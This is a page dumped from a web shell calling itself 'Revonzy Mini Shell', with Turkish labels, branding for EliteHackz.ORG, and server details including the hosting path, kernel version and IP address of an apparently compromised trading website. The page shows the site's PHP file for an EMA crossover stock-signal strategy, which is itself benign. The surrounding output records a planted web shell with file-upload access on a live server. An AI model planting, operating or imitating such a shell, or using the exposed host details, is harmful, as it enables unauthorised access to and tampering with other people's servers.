Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/three_thirty_strategy.php

<?php
    require_once('lib/function.php');
	$db		=	new login_function();

/*******************************THREE THIRTY STRATEGY****************************/


//echo "*********************************************************************";

// Sample candle data 
/*
$candleData = [
    ['Date', 'Open', 'High', 'Low', 'Close'],
    ['2023-09-10', 100, 105, 98, 103],
    ['2023-09-11', 104, 107, 100, 106],
    // Add more candle data here
];*/

//print_r($candleData);
/*
// Function to calculate the EMA
function calculateEMA($data, $period) {
    $multiplier = 2 / ($period + 1);
    $ema = [];

    // Calculate the initial SMA
    $sma = array_slice($data, 0, $period);
    $sma = array_sum($sma) / $period;
    $ema[] = $sma;

    // Calculate EMA for the rest of the data
    for ($i = $period; $i < count($data); $i++) {
        $emaValue = ($data[$i] - $ema[$i - $period]) * $multiplier + $ema[$i - $period];
        $ema[] = $emaValue;
    }

    return $ema;
}

// Function to check for EMA crossover
function emaCrossover($emaShort, $emaLong) {
    $lastIndex = count($emaShort) - 1;

    // Check for bullish crossover (short EMA crosses above long EMA)
    if ($emaShort[$lastIndex] > $emaLong[$lastIndex] && $emaShort[$lastIndex - 1] <= $emaLong[$lastIndex - 1]) {
        return "Bullish crossover at index $lastIndex";
    }
    // Check for bearish crossover (short EMA crosses below long EMA)
    elseif ($emaShort[$lastIndex] < $emaLong[$lastIndex] && $emaShort[$lastIndex - 1] >= $emaLong[$lastIndex - 1]) {
        return "Bearish crossover at index $lastIndex";
    } else {
        return "No crossover";
    }
}

// Extract Close prices from the candle data
$closePrices = array_column(array_slice($candleData, 1), 4);

// Define EMA periods (Short and Long)
$shortEMAperiod = 3;
$longEMAperiod = 30;

// Calculate Short and Long EMAs
$shortEMA = calculateEMA($closePrices, $shortEMAperiod);
$longEMA = calculateEMA($closePrices, $longEMAperiod);

// Check for EMA crossover
$crossoverResult = emaCrossover($shortEMA, $longEMA);

echo "EMA Crossover Result: $crossoverResult\n";*/
    /*****************************END THREE THIRTY STRATEGY***************************/

    // Sample collection of candle data (for demonstration purposes)
/*$candle_data = [
    ['date' => '2023-09-01', 'open' => 100, 'high' => 105, 'low' => 95, 'close' => 102],
    ['date' => '2023-09-02', 'open' => 103, 'high' => 108, 'low' => 100, 'close' => 105],
    // Add more data here
];*/
$symbol_token = "2885";
$candle_data = $db->get_all_users_candle_data_details_by_symboltoken($symbol_token);

//print_r($candle_data);
function calculateEMA($data, $period) {

//    print_r($data);

    $multiplier = 2 / ($period + 1);
    $ema = [];
    
    for ($i = 0; $i < count($data); $i++) {
        if ($i === 0) {
            $ema[$i] = $data[$i]['close'];

            

        } else {
            $ema[$i] = ($data[$i]['close'] - $ema[$i - 1]) * $multiplier + $ema[$i - 1];
            
            
        }
    }
    
    return $ema;
}

// Calculate short-term and long-term EMAs
$short_term_ema = calculateEMA($candle_data, 3);
$long_term_ema = calculateEMA($candle_data, 30);

function emaCrossoverSignal($short_term_ema, $long_term_ema, $index) {
    if ($short_term_ema[$index] > $long_term_ema[$index] && $short_term_ema[$index - 1] <= $long_term_ema[$index - 1]) {
       // echo 'Buy Signal';
    } elseif ($short_term_ema[$index] < $long_term_ema[$index] && $short_term_ema[$index - 1] >= $long_term_ema[$index - 1]) {
        echo 'Sell Signal';
    } else {
        echo 'No Signal';
    }
}

// Determine the signal at a specific index (e.g., latest data point)
$signal = emaCrossoverSignal($short_term_ema, $long_term_ema, count($candle_data) - 1);


?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4